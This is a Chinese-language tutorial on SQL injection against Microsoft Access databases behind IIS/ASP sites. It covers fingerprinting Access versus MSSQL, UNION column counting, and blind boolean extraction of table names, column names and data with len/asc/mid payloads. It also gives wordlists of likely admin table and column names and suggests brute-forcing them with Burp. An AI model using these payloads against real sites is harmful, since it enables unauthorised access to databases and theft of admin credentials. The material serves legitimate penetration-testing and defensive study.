Access数据库SQL注入
Access数据库
Microsoft Access 是 Microsoft 的数据库管理系统 (DBMS),它将关系 Microsoft Jet 数据库引擎与图形用户界面和软件开发工具相结合。它是 Microsoft Office 应用程序套件的一部分,包含在专业版和更高版本中。
Microsoft Access 特性
Access数据库中没有注释符号.因此 /**/ 、 – 和 # 都没法使用。
Access数据库不支持错误显示注入,Access数据库不能执行系统命令。
access数据库中没有 limit,就不能限制查询出来的行数。但是我们可以使用top命令,top 1是将查询的所有数据只显示第一行。
在这里强调这个,是因为access数据库虽然也支持order by 、union select 、布尔型注入,但是由于不存在注释符,所以在手工注入的时候,需要注意,以及想要绕过waf规则的时候,就不要浪费力气写啥 == /**/ ==这种了
判断数据库类型
拿到一个网站首先判断结构,一般Access的数据库网站架构是这样的:
iis+asp+access
asp的网站一般搭建的数据库就是mysql或者Access
判断方法也很简单,若带入and (select count(*) from sysobjects)>0
,由于sysobjects表在MSSQL数据库中可以正常访问所以当返回正常页面时表示为MSSQL数据库语句,and exists (select * from msysobjects)>
报错时即为access数据库,如果报错可看报错信息来判断是否在access数据库。
不同架构下的报错信息
Apache(PHP)
Fatal error: Uncaught execption ‘com_exception’ with message
'Source:Microsoft JET Database Engine Description: […]
IIS(ASP)
Microsoft JET Database Engine error’80040e14’
access攻击手法
1.access注入攻击片段-联合查询法
判断注入位置
这和别的数据库一样,都是order by
xxx.asp?id=1 order by 列数
2.access注入攻击片段-逐字猜解法
select name from MSysObjects where type=1 and flags=0
这句话可以直接查询MSysObjects这张系统表,里面记录得有一些我们创建的表的信息,(例如里面有多少张表,表的名字、创建时间等等),很明显,我们就是要从这张系统表中获取我们要的表名
,但这个方式一般不会成功,因为这张表不是管理员是没有权限查看的,所以对Access数据库查表大多数我们只能进行猜解
。
猜解表名列名
xxx.asp?id=1513 UNION SELECT
1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from 表名字典
或者这种方法
查表:and exists (select * from 表名)
常见表名:
admin
admins
admin_user
admin_usr
admin_msg
admin_login
user
username
manager
msg_user
msg_login
useradmin
...等等
提示:一般Access数据库有个表名:news,不过没啥卵用
查列:and exists (select 列名 from 表名)
查数据:1.确定长度 2.确定asc数据(asc编码)
and (select top 1 len(列名) from admin)=5 //判断列名长度 =换成<=5也成立,下同
and (select top 1 asc(mid(列名,位数,1)) from admin)=97 //判断列名ascii码
and (select top 1 asc(mid(列名,位数,1)) from admin)=97
admin
admin_user
username
password
pass
pwd
users
usr
user_login
user_name
login_name
...等等
判断列的个数
and exists(select*from 表名 order by 个数)
判断列的字段名
and exists(select 字段名 from 表名)
判断表内数据的行数
and (select count(*) from XXX)>数量
判断列的第一个数据的长度
and (select top 1 len(字段名) from 表名)>长度
猜测xx列的第一行数据的第一个字符的ascii码值
and (select top 1 asc(mid(字段名,1,1)) from 表名)>32
由于top命令区别于limit,他只能是前几行,top 1就是第一行,top 2就是前两行;此时借鉴人家的,那就是使用联合查询,先查询前两条数据然后做一个倒顺序排列,这样的话将查询结果当成一个单独的表,而由于使用了倒叙,所以第二条数据就变成了第三条,再将查询结果进行判断前一条,这样就解决了这个问题
and (select top 1 len(字段名) from ( select top 2 * from 表名 ) order by id desc)>2
这里可以用burp导入字典爆破,burp的操作就不在赘述。